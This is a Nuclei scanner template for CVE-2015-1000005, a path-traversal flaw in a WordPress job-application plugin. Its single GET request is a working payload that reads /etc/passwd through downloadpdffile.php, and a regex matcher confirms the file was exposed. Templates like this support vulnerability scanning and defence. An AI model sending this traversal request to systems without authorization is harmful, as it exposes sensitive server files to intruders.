id: CVE-2015-1000005

info:
  name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of the plugin.
  reference:
    - https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000005
    - http://www.vapidlabs.com/advisory.php?v=142
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000005
    cwe-id: CWE-22
    epss-score: 0.21197
    epss-percentile: 0.95406
    cpe: cpe:2.3:a:candidate-application-form_project:candidate-application-form:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: candidate-application-form_project
    product: candidate-application-form
    framework: wordpress
  tags: cve2015,cve,wpscan,wordpress,wp-plugin,lfi,wp,candidate-application-form_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008b98722405dcbe783776fd03d66b9759354f5ce30a6d94978d9a6ebafa99d613022100df5dbf218f26c77bcc0386be59c3f01e01aba6a9ef262da43549704a3eef0362:922c64590222798bb761d5b6d8e72950